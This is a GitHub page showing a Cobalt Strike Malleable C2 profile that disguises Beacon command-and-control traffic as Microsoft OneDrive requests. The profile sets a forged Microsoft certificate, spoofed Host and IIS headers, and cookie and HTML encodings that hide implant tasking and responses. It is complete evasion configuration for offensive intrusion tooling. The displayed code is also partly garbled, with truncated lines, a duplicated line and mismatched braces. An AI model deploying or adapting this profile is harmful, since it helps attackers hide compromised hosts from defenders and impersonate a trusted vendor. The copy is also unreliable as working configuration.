

Files

2632378

Go to file


> APT

> crimeware

> normal

amazon.profilebingsearch_getonly.profilecnvideo_getonly.profilegmail.profilegoogledrive_getonly.profilemicrosoftupdate_getonly.profilemsnbcvideo_getonly.profileocsp.profileonedrive_getonly.profilepandora.profilerandomized.profilereference.profilertmp.profilesafebrowsing.profilewebbug.profilewebbug_getonly.profilewikipedia_getonly.profile

Malleable-C2-Profiles / normal / onedrive_getonly.profile

 bluscreenofjeff initial commit of new profiles3f8f670 · 8 years agoHistory

CodeBlame127 lines (100 loc) · 5.87 KB

RawCopyDownloadCompare

```
1  #
2  # OneDrive
3  #
4  # Author: @bluscreenofjeff
5  #
6
7  #set https cert info
8  https-certificate {
9      set CN      "mail.live.com"; #Common Name
10     set O       "Microsoft Corporation"; #Organization Name
11     set C       "US"; #Country
12     set L       "Redmond"; #Locality
13     set OU      "Outlook EdgeProxyBAYJune2015"; #Organizational Unit Name
14     set ST      "Washington"; #State or Province
15     set validity "365"; #Number of days the cert is valid for
16 }
17
18 #default Beacon sleep duration and jitter
19 set sleeptime "60000";
20 set jitter    "20";
21
22 #default useragent for HTTP comms
23 set useragent "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko";
24
25 #IP address used to indicate no tasks are available to DNS Beacon
26 set dns_idle "8.8.4.4";
27
28 #Force a sleep prior to each individual DNS request. (in milliseconds)
29 set dns_sleep "0";
30
31 #Maximum length of hostname when uploading data over DNS (0-255)
32 set maxdns    "235";
33
34 http-get {
35
36     set uri "/preload";
37
38     client {
39         parameter "manifest" "wac";
40         header "Host" "onedrive.live.com";
41         header "Accept" "text/html,application/xml;*/*;";
42         header "Accept-Encoding" "gzip, deflate";
43
44         #session metadata
45         metadata {
46             base64url;
47             prepend "E=P:";
48             append "=:PFzM9cj";
49             header "Cookie";
50         }
51
52         #header "MicrosoftApplicationsTelemetryDeviceId" "9u2srx19-4gm0-3x2t-1f25-9ejw1
53
54     }
55
56
57     #convert f
```

```
57     server {
58
59         header "Cache-Control" "no-cache, no-store";
60         header "Pragma" "no-cache";
61         header "Content-Type" "text/html; charset=utf-8";
62         header "Expires" "-1";
63         header "Vary" "Accept-Encoding";
64         header "Server" "Microsoft-IIS/8.5";
65         header "Set-Cookie" "E=P:We/01nw8bIg=:oIbA04j2Itig4t8cWKNKrDaG/ZDZuMnyxXC+BkkNi";
66
67         #Beacon's tasks
68         output {
69             netbios;
70             prepend " <html xmlns=\"http://www.w3.org/1999/xhtml\"><head><title>Preload
71             append "u002ffiles\u002fonedrive-website-release-prod_master_20160928.003\u002f";
72             print;
73         }
74     }
75 }
76
77 http-post {
78
79     set uri "/sa";
80     set verb "GET";
81
82     client {
83
84         header "Host" "onedrive.live.com";
85         header "Accept" "text/html,application/xml;*/*";
86         header "Accept-Encoding" "gzip, deflate";
87
88         #Beacon's responses
89         output {
90             base64url;
91             prepend "E=P:";
92             append "=:PFzM9cj";
93             header "Cookie";
94         }
95
96         #session ID
97         id {
98             base64url;
99             prepend "https://p.sfx.ms/sa.html?s=";
100             header "Referer";
101         }
102     }
103 }
104
105 server {
106
107     header "Cache-Control" "no-cache, no-store";
108     header "Pragma" "no-cache";
109     header "Content-Type" "text/html; charset=utf-8";
110     header "Expires" "-1";
111     header "Vary" "Accept-Encoding";
112     header "Server" "Microsoft-IIS/8.5";
113     header "Set-Cookie" "E=P:We/01nw8bIg=:oItIbA04j2rDig4t8cWKNKaG/ZDZuMnyxXC+BkkNi";
114
115     #empty
116     output {
117         print;
118     }
119 }
120 }
121
122 #change the stager server
123 http-stager {
124     server {
125         header "Content-Type" "text/html; charset=utf-8";
126     }
127 }
```